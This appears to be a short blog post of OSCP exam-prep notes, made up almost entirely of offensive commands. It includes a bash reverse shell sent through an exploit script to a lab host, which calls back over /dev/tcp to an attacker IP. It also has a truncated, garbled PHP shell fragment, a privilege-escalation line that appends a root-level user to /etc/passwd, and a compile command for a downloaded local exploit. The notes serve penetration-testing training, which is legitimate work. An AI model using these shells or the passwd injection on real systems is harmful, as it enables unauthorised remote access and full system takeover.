OSCP Master Note File
SHELLS
Bash
Bash Small Shell
/Lab/Mailman$ ./exploit.py 10.11.1.231 "bash -i >& /dev/tcp/192.168.119.184/9999 0>&1"
PHP
PHP Small Shell
$sock, 1=>$sock, 2=>$sock), $pipes); ?>
Linux Privilege Escalation
Add to Password File openssl passwd evil echo "vickie:q26boqdSkSLpg:0:0:root:/root:/bin/bash" >> /etc/passwd
Linux Github Files
https://github.com/Anon-Exploiter/SUID3NUMGCC
gcc -Wall -m32 -Wl,--hash-style=both 9542.c -o 9542
Comments
Post a Comment